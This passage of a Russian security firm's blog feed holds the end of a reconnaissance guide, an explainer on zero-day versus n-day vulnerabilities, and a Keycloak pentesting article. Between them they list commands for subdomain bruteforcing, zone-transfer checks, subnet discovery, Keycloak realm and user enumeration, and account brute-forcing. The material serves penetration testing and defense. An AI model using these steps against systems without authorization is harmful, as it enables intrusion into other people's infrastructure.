        <li id="POog"><code>cat ip-list.txt | cero &gt; .tmp/cero.txt</code></li>
        <li id="han3"><code>cat .tmp/cero.txt | unfurl -u apexes | anew apex.txt</code></li>
        <li id="gact"><code>cat .tmp/cero.txt | unfurl -u domains | anew subdomains-unresolved.txt</code></li>
        <li id="8KWt"><code>cat apex.txt | cero</code></li>
      </ul>
    </ul>
    <ul id="v3gR">
      <li id="yuCt">crt.sh и другие</li>
    </ul>
    <li id="bGuM">Reverse Whois (org, email, registrant name и др.)</li>
    <ul id="xxh3">
      <li id="lAc6"><a href="https://github.com/MilindPurswani/whoxyrm" target="_blank">https://github.com/MilindPurswani/whoxyrm</a></li>
      <ul id="Cvlk">
        <li id="mXOM"><code>whoxyrm -company-name &quot;Company Inc.&quot;</code></li>
        <li id="thkv"><code>whoxyrm -email &quot;admin@company.com&quot;</code></li>
        <li id="TiG6"><code>whoxyrm -keyword &quot;company.com&quot;</code></li>
      </ul>
      <li id="hdOT">Сервисы Whoxy, Viewdns, DNSlytics, IntelX и другие</li>
    </ul>
    <li id="q6K7">Reverse PTR</li>
    <ul id="rYk5">
      <li id="vhZn"><a href="https://github.com/projectdiscovery/dnsx" target="_blank">https://github.com/projectdiscovery/dnsx</a></li>
      <ul id="G4Gy">
        <li id="GYwB"><code>dnsx -retry 3 -a -aaaa -cname -ns -ptr -mx -soa -resp -silent -l subdomains.txt</code></li>
      </ul>
    </ul>
    <li id="x3Ui">Дорки</li>
    <ul id="v2tx">
      <li id="S8dk">Поиск вида &quot;Company © 2025&quot; или на основе других уникальных данных о компании собранных с известных доменов второго уровня</li>
    </ul>
  </ul>
  <p id="1BAI">Расширив список доменов второго уровня мы готовы переходить к следующему этапу поиска поддоменов.</p>
  <h3 id="WHCf">Трансфер зоны</h3>
  <p id="gbja">Очень важно проверять возможность трансфера зоны на DNS серверах всех доменов второго уровня которые удалось собрать. Эту проверку часто забывают делать, либо не знают о ней совсем, но делается очень просто:</p>
  <ol id="sLtO">
    <li id="eZ1h">Узнаем DNS сервера: <code>dig -t NS metascan.ru</code></li>
    <li id="UAOE">Проверяем возможность трансфера: <code>dig axfr domain.com @ns.domain.com</code></li>
  </ol>
  <p id="h2yi">Если трансфер допускается, это является мисконфигурацией при которой атакующий может получить полный список всех DNS записей. </p>
  <p id="xB9Y">Скрипт для быстрой проверки группы доменов на возможность трансфера:</p>
  <pre id="IZV9">for ns in $(dig +short ns &quot;$domain&quot;); do dig axfr &quot;$domain&quot; @&quot;$ns&quot; &gt;&gt; zonetransfer.txt; done
        if [ -s &quot;subdomains/zonetransfer.txt&quot; ]; then
            if ! grep -q &quot;Transfer failed&quot; zonetransfer.txt ; then notification &quot;Zone transfer found on ${domain}!&quot; info; fi
        fi</pre>
  <p id="NyO2"></p>
  <h3 id="6vNx">Пассивный поиск поддоменов</h3>
  <p id="6FLO">Сбор поддоменов можно осуществлять на основе данных из пассивных источников, таких как Censys, Shodan, crt.sh и других, так и активным методом с перебором существующих поддоменов через обращения к DNS серверам.</p>
  <p id="FtnH">Утилиты которые могут осуществлять пассивный поиск:</p>
  <ul id="wfaQ">
    <li id="KfVC"><a href="https://github.com/OWASP/Amass" target="_blank">https://github.com/OWASP/Amass</a></li>
    <ul id="59OI">
      <li id="p40m"><code>amass enum -passive -timeout 180 -df apex.txt &amp;&amp; oam_subs -df apex.txt -names | anew sub-unresolved.txt</code></li>
    </ul>
    <li id="PodF"><a href="https://github.com/projectdiscovery/subfinder" target="_blank">https://github.com/projectdiscovery/subfinder</a></li>
    <ul id="wyeN">
      <li id="aEFY"><code>subfinder -all -dL apex.txt -silent | anew sub-unresolved.txt</code></li>
    </ul>
    <li id="8X2V"><a href="https://github.com/laramies/theHarvester" target="_blank">https://github.com/laramies/theHarvester</a></li>
    <ul id="CSK0">
      <li id="2OTq"><code>python theHarvester.py -b all -d &lt;company.com&gt;</code></li>
    </ul>
    <li id="urGN"><a href="https://github.com/Findomain/Findomain" target="_blank">https://github.com/Findomain/Findomain</a></li>
    <ul id="RgS2">
      <li id="9FQJ"><code>findomain --quiet -t &lt;company.com&gt;</code></li>
    </ul>
    <li id="jPlB"><a href="https://github.com/incogbyte/shosubgo" target="_blank">https://github.com/incogbyte/shosubgo</a></li>
    <ul id="n4F1">
      <li id="tYRt"><code>shosubgo -d &lt;company.com&gt; -s APIKEY | anew sub-unresolved.txt</code></li>
    </ul>
    <li id="GUl9"><a href="https://github.com/gwen001/github-subdomains" target="_blank">https://github.com/gwen001/github-subdomains</a></li>
    <ul id="mOhJ">
      <li id="NzsE"><code>github-subdomains -d &lt;company.com&gt; -t $GITHUB_TOKENS -o github-sub.txt</code></li>
    </ul>
    <li id="CrlL"><a href="https://github.com/xnl-h4ck3r/waymore" target="_blank">https://github.com/xnl-h4ck3r/waymore</a></li>
    <ul id="bi6q">
      <li id="JdkY"><code>python3 waymore -i apex.txt</code></li>
      <li id="FpkT"><code>cd &quot;waymore/results/&lt;apex&gt;&quot; &amp;&amp; cat waymore.txt | unfurl -u domains | anew sub-unresolved.txt</code></li>
    </ul>
    <li id="C71W">И многие другие.</li>
  </ul>
  <p id="GiMn">Очень важно конфигурировать API ключи для подобных инструментов, так как очень часто регистрация на вспомогательных ресурсах свободная, а API ключ - бесплатный. При наших тестах объем данных сильно различался при сборе данных с API ключами и без.</p>
  <p id="NQqc">Собрав достаточное количество доменов с помощью пассивного метода мы получаем немалый массив данных для подготовки к активному поиску.</p>
  <h3 id="YBfd">Пермутации и активный поиск поддоменов</h3>
  <p id="2IpI">Перед тем, как выполнить брутфорс поддоменов, необходимо подобрать правильный словарь. В этом нам могут помочь пермутации на основе собранных данных:</p>
  <ul id="oaqa">
    <li id="MCOt"><a href="https://github.com/projectdiscovery/alterx" target="_blank">https://github.com/projectdiscovery/alterx</a></li>
    <ul id="vaR9">
      <li id="WbQh"><code>alterx -list subdomains.txt -enrich &gt; perm-alterx.txt</code></li>
      <li id="pqG3"><code>alterx -list subdomains.txt -enrich -p &#x27;{{word}}-{{year}}.{{suffix}}&#x27; -pp word=keywords.txt -pp year=2023 &gt; perm-alterx-complex.txt</code></li>
    </ul>
    <li id="PTZz"><a href="https://github.com/Josue87/gotator" target="_blank">https://github.com/Josue87/gotator</a></li>
    <ul id="2oMc">
      <li id="pX2i"><code>gotator -sub subdomains.txt -perm $PERMUTATIONS -depth 1 -numbers 3 -mindup -adv -md -silent | head -c 1342177280 &gt; perm-gotator.txt</code></li>
    </ul>
    <li id="eDA1"><a href="https://github.com/resyncgg/ripgen" target="_blank">https://github.com/resyncgg/ripgen</a></li>
    <ul id="UrFH">
      <li id="szpJ"><code>ripgen -d subdomains.txt -w $PERMUTATIONS | head -c 1342177280 &gt; perm-ripgen.txt</code></li>
    </ul>
    <li id="HwRo"><a href="https://github.com/cramppet/regulator" target="_blank">https://github.com/cramppet/regulator</a></li>
    <ul id="DHms">
      <li id="g3Ud"><code>python3 main.py -t &lt;company.com&gt; -f subdomains.txt -o perm-regulator.txt</code></li>
    </ul>
    <li id="GYwn"><a href="https://github.com/trickest/dsieve" target="_blank">https://github.com/trickest/dsieve</a></li>
    <ul id="Eo9u">
      <li id="GWLU"><code>dsieve -if subdomains.txt -f 3 -top 10 &gt; perm-dsoeve.txt</code></li>
    </ul>
  </ul>
  <p id="bxR4">Собрав хороший словарь остается выполнить только перебор поддоменов. Очень важно понимать как устроен этот процесс, так как словари могут достигать огромных значений (5-10 млн), поэтому нам важно выполнять перебор именно на уровне DNS A записи. Частой ошибкой бывает использование не предназначенных для этого инструментов, таких как ffuf, httpx и тому подобных, которые делают именно HTTP запрос, а не DNS.</p>
  <p id="KVLE">Очень важно подготовить для этих утилит список доверенных резолверов чтобы не получить блокировку от основных:</p>
  <ul id="LJ1n">
    <li id="s2Uu"><a href="https://github.com/trickest/resolvers" target="_blank">https://github.com/trickest/resolvers</a></li>
    <ul id="Adj8">
      <li id="GYM0"><code>wget -q -O - https://raw.githubusercontent.com/trickest/resolvers/main/resolvers.txt &gt; &quot;$TOOLS/resolvers.txt&quot;</code></li>
    </ul>
    <li id="b1Di"><a href="https://github.com/vortexau/dnsvalidator" target="_blank">https://github.com/vortexau/dnsvalidator</a></li>
    <ul id="KuoQ">
      <li id="kRqJ"><code>dnsvalidator -tL <a href="https://public-dns.info/nameservers.txt" target="_blank">https://public-dns.info/nameservers.txt</a> -threads 200 -o $RESOLVERS --silent</code></li>
      <li id="3k7q"><code>dnsvalidator -tL https://raw.githubusercontent.com/blechschmidt/massdns/master/lists/resolvers.txt -threads 200 -o resolvers-tmp.txt --silent</code></li>
    </ul>
  </ul>
  <p id="1q64">Для быстрого и эффективного перебора поддоменов по большим словарям можно использовать:</p>
  <ul id="t0oh">
    <li id="CoGB"><a href="https://github.com/d3mondev/puredns" target="_blank">https://github.com/d3mondev/puredns</a></li>
    <ul id="YDGv">
      <li id="bEfc"><code>puredns bruteforce $SUB_BIG &lt;company.com&gt; -w sub-brute.txt -r $RESOLVERS --resolvers-trusted $RESOLVERS_TRUSTED -l 5000 --rate-limit-trusted 400 --wildcard-tests 30 --wildcard-batch 1500000</code></li>
      <li id="jP6d"><code>puredns resolve sub-unresolved.txt -w subdomains-resolved.txt -r $RESOLVERS --resolvers-trusted $RESOLVERS_TRUSTED -l 5000 --rate-limit-trusted 400 --wildcard-tests 30 --wildcard-batch 1500000</code></li>
    </ul>
    <li id="x4sG"><a href="https://github.com/projectdiscovery/shuffledns" target="_blank">https://github.com/projectdiscovery/shuffledns</a></li>
    <ul id="3Gxq">
      <li id="bQYa"><code>shuffledns -d &lt;company.com&gt; -w $SUB -r $RESOLVERS</code></li>
    </ul>
    <li id="z8d4"><a href="https://github.com/blechschmidt/massdns" target="_blank">https://github.com/blechschmidt/massdns</a></li>
  </ul>
  <h3 id="7Fn9">Поиск подсетей</h3>
  <p id="zxPF">Теперь мы обладаем большим объемом данных, среди которых домены второго уровня и поддомены. Почему поиск подсетей почти что в конце? Если собрать IP адреса с небольшого списка доменов, то можем упустить какие-то IP адреса входящие в более крупные сети. Имея на руках полноценный список доменов и поддоменов количество IP адресов из A записей значительно увеличивается.</p>
  <p id="GcU2">Кроме этого, часто домены могут быть спрятаны за Cloudflare или располагаться на хостингах, такие IP адреса бесполезны и не помогут найти реальные подсети организации.</p>
  <p id="hi4b">На основе полученных IP адресов собираем все ASN и находим их подсети:</p>
  <ul id="X3Ut">
    <li id="hZsh"><a href="https://github.com/projectdiscovery/asnmap" target="_blank">https://github.com/projectdiscovery/asnmap</a></li>
    <ul id="ikQ8">
      <li id="G2Ee"><code>asnmap -a ASN0000 -silent</code></li>
      <li id="SX10"><code>asnmap -i 0.0.0.0 -org COMPANY -d domain.com -a ASN0000</code></li>
    </ul>
    <li id="vy0h"><a href="https://github.com/j3ssie/metabigor" target="_blank">https://github.com/j3ssie/metabigor</a></li>
    <ul id="hRTV">
      <li id="wi4R"><code>echo &quot;COMPANY&quot; | metabigor net --org -o ip-list.txt</code></li>
      <li id="0dyQ"><code>echo &quot;ASN0000&quot; | metabigor net --asn -o ip-list.txt</code></li>
    </ul>
    <li id="BCxT"><a href="https://github.com/dhn/spk" target="_blank">https://github.com/dhn/spk</a></li>
    <ul id="Mjqo">
      <li id="6XhW"><code>spk -json -s &quot;COMPANY&quot;</code></li>
    </ul>
    <li id="OIx8"><a href="https://github.com/OWASP/Amass" target="_blank">https://github.com/OWASP/Amass</a></li>
    <ul id="Hq3y">
      <li id="ojKX"><code>amass intel -org &quot;COMPANY&quot;</code></li>
    </ul>
    <li id="QIxI"><a href="https://github.com/projectdiscovery/mapcidr" target="_blank">https://github.com/projectdiscovery/mapcidr</a></li>
    <ul id="STyQ">
      <li id="ZZpf"><code>cat networks-list.txt | mapcidr -silent | anew -q ip-list.txt</code></li>
      <li id="YiB1"><code>echo ASN0000 | mapcidr -silent | anew -q ip-list.txt</code></li>
    </ul>
    <li id="VxRf"><a href="https://github.com/pirxthepilot/wtfis" target="_blank">https://github.com/pirxthepilot/wtfis</a></li>
    <li id="2YYI"><a href="https://github.com/yassineaboukir/Asnlookup" target="_blank">https://github.com/yassineaboukir/Asnlookup</a></li>
    <li id="ja1i">Shodan Favicon: <code>http.favicon.hash:123456789 hostname:&quot;company&quot;</code></li>
  </ul>
  <p id="a7BL">Данные о подсетях можно найти в таких базах, как Ripe:</p>
  <ul id="jF42">
    <li id="rgj9"><a href="https://apps.db.ripe.net/db-web-ui/fulltextsearch" target="_blank">https://apps.db.ripe.net/db-web-ui/fulltextsearch</a></li>
  </ul>
  <p id="djFY">В качестве ключевых слов можно использовать известные IP, Email адрес администратора, сайт компании, название организации и другие данные. </p>
  <h3 id="RQfX">Заключение</h3>
  <p id="ESiX">Разведка является неотъемлемой частью успешного пентеста, поэтому очень важно в деталях понимать данный процесс и использовать его для максимального расширения объема проверяемых ресурсов, ведь даже 1 забытый IP может привести к RCE и компрометации основной инфраструктуры.</p>
  <p id="88c5"><a href="https://metascan.ru/" target="_blank">Метаскан</a> имеет встроенный модуль проведения разведки и команду опытных пентестеров которые позволят максимально увеличить покрытие защищаемого периметра и не упустить даже менее известные домены. </p>
  <p id="8KIp">Кроме этого, с интеграцией которая позволяет автоматически забирать все DNS записи исключаются случаи где домен мог быть упущен если он отсутствует где либо и его название крайне необычное.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/Mdumddt-2RV</guid><link>https://teletype.in/@metascan/Mdumddt-2RV?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/Mdumddt-2RV?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Zero-day vs n-day</title><pubDate>Fri, 03 Oct 2025 12:24:31 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f5/3e/f53e2002-4cfa-4448-9d1e-2bcc3aa6c70f.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/0d/fa/0dfa6e49-9533-4220-8336-b482a1b50d17.png"></img>Почему нужно быть начеку]]></description><content:encoded><![CDATA[
  <h3 id="uJhz">Вступление</h3>
  <p id="3ter">В информационной безопасности часто звучат два термина: <strong>zero-day</strong> и <strong>n-day</strong>. Оба связаны с уязвимостями в ПО, но между ними есть принципиальная разница, которую должен понимать любой специалист по ИБ, руководитель IT-команды или даже просто администратор.</p>
  <figure id="ebe4" class="m_column">
    <img src="https://img1.teletype.in/files/0d/fa/0dfa6e49-9533-4220-8336-b482a1b50d17.png" width="2560" />
    <figcaption>Banner</figcaption>
  </figure>
  <h3 id="ObKx">Что такое zero-day?</h3>
  <p id="2T0x"><strong>Zero-day (0day)</strong> — это уязвимость, о существовании которой разработчик программного обеспечения еще не знает, а эксплойт для нее уже существует.</p>
  <p id="DbHR">То есть у атакующего есть «нулевой день» преимущества — защита отсутствует, патчей нет, сигнатур в антивирусах тоже нет.</p>
  <p id="B9yw"><strong>Ключевой момент:</strong> в момент эксплуатации zero-day атаки защиты фактически не существует.</p>
  <h3 id="8ccU">Примеры из практики</h3>
  <ul id="voXY">
    <li id="e451"><strong>Stuxnet (2010)</strong> — знаменитый червь, атаковавший иранские ядерные объекты. Использовал сразу несколько zero-day уязвимостей в Windows и SCADA.</li>
    <li id="WkXa"><strong>CVE-2021-1732 (Windows Win32k Elevation of Privilege)</strong> — активно эксплуатировалась хакерами в начале 2021 года еще до выхода патча.</li>
    <li id="YyPN"><strong>Недавний пример (CVE-2025-7775)</strong> — zero-day в Citrix, экспулатируемая в купе с ИИ-фреймворками.</li>
  </ul>
  <p id="tAqP">Zero-day — это оружие, которым обычно пользуются либо гос. структуры и APT-группировки, либо очень мотивированные киберпреступники.</p>
  <h2 id="LUxr">Что такое n-day</h2>
  <p id="3hJW"><strong>N-day </strong>— это уязвимость, о которой уже известно, и производитель успел выпустить обновление.</p>
  <p id="ftjX">n — это количество дней с момента публикации патча или раскрытия уязвимости.</p>
  <p id="nbMA">Но есть нюанс: многие организации обновляются медленно, и этим с удовольствием пользуются атакующие.</p>
  <h3 id="NxGf">Примеры из практики</h3>
  <ul id="Ownn">
    <li id="4GlN"><strong>ProxyShell / ProxyLogon в Microsoft Exchange (2021)</strong> — патчи вышли, но тысячи серверов остались незащищенными, и волна атак прокатилась по всему миру.</li>
    <li id="Tqa8"><strong>Citrix Bleed 2 </strong>— уязвимость в Citrix NetScaler. Несмотря на быстрый релиз исправления, эксплойты для n-day атак распространялись буквально через пару дней и многие панели все еще остаются уязвимы.</li>
  </ul>
  <h3 id="H9kq">Почему важно различать zero-day и n-day</h3>
  <ul id="brpZ">
    <li id="GStj"><strong>Zero-day</strong> звучит страшнее – защиты нет, эксплойты продаются в темном интернете, а атаки точечные.</li>
    <li id="pXYN"><strong>N-day</strong> — более распространенный риск. После выхода патча уязвимость становится достоянием общественности: исследователи пишут блоги, хакеры делают PoC, эксплойты попадают в Metasploit. И если компания не обновляется вовремя — риск стать жертвой атаки резко возрастает.</li>
  </ul>
  <h3 id="uJiu">Практический вывод</h3>
  <ol id="NK30">
    <li id="PW15"><strong>Не считать zero-day единственной угрозой.</strong> Они опасны, но шансов пострадать от n-day гораздо больше.</li>
    <li id="UTUH"><strong>Регулярный патч-менеджмент</strong> критически важен. Многие громкие инциденты происходили именно из-за игнорирования уже известных дыр.</li>
    <li id="UTex"><strong>Мониторинг и реагирование</strong>. Даже при наличии обновлений нужно отслеживать активность в сети: эксплойты под n-day появляются буквально на следующий день.</li>
    <li id="Hc7N"><strong>Threat intelligence</strong> помогает понимать, какие уязвимости уже эксплуатируются в дикой природе, и правильно расставлять приоритеты.</li>
  </ol>
  <h3 id="fXaS">Итог</h3>
  <ul id="6wFS">
    <li id="oDie"><strong>Zero-day</strong> — редкая, дорогая и часто целевая атака.</li>
    <li id="aA8T"><strong>N-day</strong> — массовая угроза, которую используют все: от скрипт-кидди до кибермафии.</li>
  </ul>
  <p id="ntDB"><strong>Большинство реальных инцидентов в компаниях — это не экзотический zero-day, а банальный n-day, который просто проигнорировали.</strong></p>
  <p id="QTak">Поэтому главный совет: не оставляйте дыры открытыми. Закрывайте n-day сегодня, чтобы завтра не оказаться в заголовках новостей.</p>
  <p id="166G"><a href="https://metascan.ru" target="_blank">Metascan</a> позволяет защититься от известных n-day уязвимостей, а наши эксперты имеют несколько найденных 0-day и зарегистрированных CVE.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/pentesting-keycloak</guid><link>https://teletype.in/@metascan/pentesting-keycloak?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/pentesting-keycloak?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Keycloak — ключ к вашей инфраструктуре</title><pubDate>Fri, 26 Sep 2025 12:26:37 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/9a/92/9a926eab-70a4-4732-b6ae-c5b8a3f486fe.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/7a/a9/7aa9cdd9-96d3-46f2-9b1e-616b6a65b293.png"></img>Keycloak позволяет реализовать управление учетными записями и доступом через централизованную систему и значительно упростить процесс аутентификации в разных сервисах. Но даже в такой продуманной и удобной системе можно допускать мисконфигурации которые могут привести к критичным последствиям, ведь получив доступ к такой системе злоумышленник по сути получает доступ и ко всем взаимосвязанным сервисам.]]></description><content:encoded><![CDATA[
  <p id="Txe7"><a href="https://www.keycloak.org/" target="_blank"><strong>Keycloak</strong></a> позволяет реализовать управление <strong>учетными записями</strong> и <strong>доступом </strong>через централизованную систему и значительно упростить процесс аутентификации в разных сервисах. Но даже в такой продуманной и удобной системе можно допускать мисконфигурации которые могут привести к критичным последствиям, ведь получив доступ к такой системе злоумышленник по сути получает доступ и ко всем взаимосвязанным сервисам.</p>
  <figure id="Z9OJ" class="m_column">
    <img src="https://img4.teletype.in/files/7a/a9/7aa9cdd9-96d3-46f2-9b1e-616b6a65b293.png" width="2560" />
  </figure>
  <h3 id="Whqu">Как устроен Keycloak</h3>
  <p id="gj5G">Несмотря на хорошую защищенность <strong>Keycloak</strong>, существует немалый объем <a href="https://repology.org/project/keycloak/cves" target="_blank"><strong>CVE уязвимостей</strong></a> применимых к прошлым версиям. Но мы разберем разновидности атак применимых даже при использовании самой последней версии.</p>
  <p id="Yk1G">Для начала разберемся что такое <strong>Realms </strong>в контексте <strong>Keycloak</strong> — это изолированные друг от друга среды предназначенные для разделения набора групп, пользователей, ролей и прав. При первичном развертывании <strong>Keycloak </strong>создается первичная среда — <strong>Master Realm</strong>. Это административная среда позволяющая управлять всеми остальными средами в рамках <strong>Keycloak </strong>инсталляции, поэтому крайне не рекомендуется использовать эту среду для авторизации в других приложениях инфраструктуры.</p>
  <h3 id="ISQC">Разведка</h3>
  <p id="9OTp">Проверить используемую конфигурацию можно несколькими способами:</p>
  <ul id="KoSF">
    <li id="omxc">OpenID: <code>/auth/realms/REALM_NAME/.well-known/openid-configuration</code></li>
  </ul>
  <figure id="FUAR" class="m_original">
    <img src="https://img4.teletype.in/files/f9/f6/f9f620c6-5e66-4546-94b1-15844500174b.png" width="1016" />
  </figure>
  <ul id="2W3T">
    <li id="bAqT">SAML: <code>/auth/realms/realm_name/protocol/saml/descriptor</code></li>
  </ul>
  <figure id="DosQ" class="m_original">
    <img src="https://img4.teletype.in/files/7c/f8/7cf89db2-1789-438f-9f25-508e20af40ad.png" width="979" />
  </figure>
  <ul id="Z7Hz">
    <li id="YOsP">Публичные ключи: <code>/auth/realms/realm_name/</code></li>
  </ul>
  <figure id="5YBX" class="m_original">
    <img src="https://img2.teletype.in/files/d1/31/d13115af-4def-46ff-aa93-38fe3d6cf3b5.png" width="631" />
  </figure>
  <p id="vXJD">Точку с публичными ключами можно использовать для перечисления существующих сред:</p>
  <figure id="aB7u" class="m_original">
    <img src="https://img1.teletype.in/files/c6/16/c616a3a4-9b71-4e4d-8441-437505a60ae2.jpeg" width="387" />
  </figure>
  <p id="2JIg">Некоторые среды могут поддерживать возможность самостоятельной регистрации: </p>
  <figure id="teGS" class="m_original">
    <img src="https://img1.teletype.in/files/89/12/89128a82-7849-470d-9823-3b4fad0cbb95.jpeg" width="411" />
  </figure>
  <p id="Lpp3">Но даже если опция регистрации была скрыта со страницы, можно попробовать обратиться напрямую:</p>
  <ul id="IamA">
    <li id="L4Qi"><code>/auth/realms/&lt;realm_name&gt;/login-actions/registration?client_id=&lt;same_as_the_login_page&gt;&amp;tab_id=&lt;same_as_the_login_form&gt;</code></li>
  </ul>
  <figure id="hH6M" class="m_original">
    <img src="https://img1.teletype.in/files/ce/aa/ceaa2313-c560-46e9-b62d-e0c24c2ae058.jpeg" width="700" />
  </figure>
  <p id="keXz">Крайне не рекомендуется допускать возможность самостоятельной регистрации в продуктивной среде.</p>
  <p id="ICUq">У каждой отдельной среды есть собственный набор &quot;клиентов&quot; (<code>client_id</code>) — приложений которым разрешено выполнять аутентификацию через Keycloak:</p>
  <ul id="CRAD">
    <li id="OYrx"><code>/auth/realms/&lt;realm_name&gt;/protocol/openid-connect/auth?**client_id=account-console**&amp;redirect_uri=&lt;...&gt;&amp;state=&lt;...&gt;&amp;response_mode=&lt;...&gt;&amp;response_type=&lt;...&gt;&amp;**scope=openid**&amp;nonce=&lt;...&gt;&amp;code_challenge=&lt;...&gt;&amp;code_challenge_method=&lt;...&gt;</code></li>
  </ul>
  <figure id="JeOK" class="m_original">
    <img src="https://img3.teletype.in/files/a1/50/a1502d5b-02ac-43d1-a23b-564a40caa7ab.jpeg" width="968" />
  </figure>
  <p id="UN3V">При установке по умолчанию доступны следующие клиенты:</p>
  <figure id="21op" class="m_original">
    <img src="https://img1.teletype.in/files/8b/e6/8be6a90d-fc00-4be5-bd7a-ef0917589960.jpeg" width="667" />
  </figure>
  <figure id="GT9m" class="m_original">
    <img src="https://img4.teletype.in/files/34/35/3435333a-1176-4697-8019-c94bd1af05f1.jpeg" width="670" />
  </figure>
  <p id="6cVa">Кроме этого, для клиентов могут существовать и отдельный набор данных (<code>scopes</code>) к которым запрашивается доступ при аутентификации:</p>
  <ul id="fI9E">
    <li id="qDwy"><code>/auth/realms/&lt;realm_name&gt;/protocol/openid-connect/auth?**client_id=account-console**&amp;redirect_uri=&lt;...&gt;&amp;state=&lt;...&gt;&amp;response_mode=&lt;...&gt;&amp;response_type=&lt;...&gt;&amp;**scope=openid**&amp;nonce=&lt;...&gt;&amp;code_challenge=&lt;...&gt;&amp;code_challenge_method=&lt;...&gt;</code></li>
  </ul>
  <figure id="62Gn" class="m_original">
    <img src="https://img3.teletype.in/files/62/4e/624edb58-a3ec-45ab-9046-1d244b9831ee.jpeg" width="839" />
  </figure>
  <p id="kZXd">Стандартный набор данных которые можно запрашивать:</p>
  <figure id="M9pP" class="m_original">
    <img src="https://img3.teletype.in/files/6d/9a/6d9a555d-6cb6-4dd1-b7e2-d797913933c6.jpeg" width="681" />
  </figure>
  <p id="6784">Keycloak так же поддерживает аутентификацию через делегацию провайдерам идентификации, таким как Gitlab, Google, Github и др.:</p>
  <ul id="Aezd">
    <li id="UJAY"><code>/auth/realms/REALM_NAME/broker/IDP_NAME/endpoint</code></li>
  </ul>
  <figure id="Msm5" class="m_original">
    <img src="https://img2.teletype.in/files/9f/91/9f91d084-a101-4816-97e4-b980e8bd6215.jpeg" width="233" />
  </figure>
  <p id="h5U0">Их можно перебрать или они могут быть доступны в UI:</p>
  <p id="PnAm">https://aaronparecki.com/oauth-2-simplified/#authorization</p>
  <figure id="4vKb" class="m_original">
    <img src="https://img4.teletype.in/files/7c/ef/7cefdb64-5c24-49a4-81e1-0747638dc373.jpeg" width="562" />
  </figure>
  <p id="SE8y">Перечисление существующих пользователей возможно при условии наличия доступа хотя бы к одному аккаунту через страницу профиля:</p>
  <figure id="0t1w" class="m_original">
    <img src="https://img3.teletype.in/files/ed/7a/ed7af796-ca50-4c3b-ad89-8f2cb2ef8cc2.jpeg" width="771" />
  </figure>
  <figure id="Lzpr" class="m_original">
    <img src="https://img2.teletype.in/files/9f/49/9f494bcd-e430-4c06-aabe-532b2255584a.jpeg" width="700" />
  </figure>
  <p id="KlmP">В результате этапа разведки мы можем получить уже немалый объем полезной информации:</p>
  <ul id="zMcv">
    <li id="gOYo">Доступные среды (realms)</li>
    <li id="ibOg">Доступные среды с саморегистрацией</li>
    <li id="hoTA">Список клиентов для каждой среды (client_id)</li>
    <li id="uoDA">Список доступных данных для запроса (scope)</li>
    <li id="Tlwh">Email адреса существующих пользователей для среды где удалось получить аккаунт</li>
    <li id="Pkzk">Список используемых дополнительных провайдеров для аутентификации</li>
  </ul>
  <h3 id="6mkN">Брутфорс атаки</h3>
  <p id="eHz1">По результатам разведки теперь появляется возможность для осуществления брутфорс атак с целью подбора учетных записей среды. По умолчанию защита от брутфорса отключена в <strong>Keycloak, </strong>поэтому в большинстве случаев подобные атаки могут быть успешными.</p>
  <p id="wPa5">Препятствием может стать защита от <strong>CSRF</strong>, поэтому для брутфорс атак на <strong>Keycloak </strong>потребуется реализация скрипта или использование набора настроек в Burp Suite. </p>
  <h3 id="sJDB">Реальные случаи взлома</h3>
  <p id="N4Dm">В результате анализа доступных на периметре Keycloak нашим специалистам в прошлом удавалось получить доступ к административным средам и захватить полностью контроль над системой аутентификации, что открывает огромные возможности для дальнейшего закрепления в инфраструктуре:</p>
  <figure id="IZtN" class="m_original">
    <img src="https://img3.teletype.in/files/2d/31/2d312e58-b783-4ad9-97ba-6f67cf5d3611.png" width="1643" />
  </figure>
  <figure id="8f82" class="m_original">
    <img src="https://img1.teletype.in/files/c4/97/c497af9e-8f1b-487c-b109-deb5055882be.png" width="1527" />
  </figure>
  <h3 id="VBoM">Заключение</h3>
  <p id="Zw8Q">Несмотря на хорошую защищенность <strong>Keycloak</strong>, даже при стандартной конфигурации появляются высокие риски для инфраструктуры, поэтому крайне рекомендуем проверять и применять все рекомендации на основе официальной документации:</p>
  <p id="gtEV"><a href="https://www.keycloak.org/docs/latest/server_admin/#mitigating_security_threats" target="_blank">https://www.keycloak.org/docs/latest/server_admin/#mitigating_security_threats</a></p>
  <p id="vUZ5"><strong><a href="https://metascan.ru/" target="_blank">Метаскан</a></strong> позволяет эффективно выявить все доступные управляющие среды <strong>Keycloak </strong>(Master Realm) на периметре, а наши пентестеры могут помочь вам выявить слабые учетные записи и защитить используемые на периметре <strong>Keycloak</strong>.</p>

]]></content:encoded></item></channel></rss>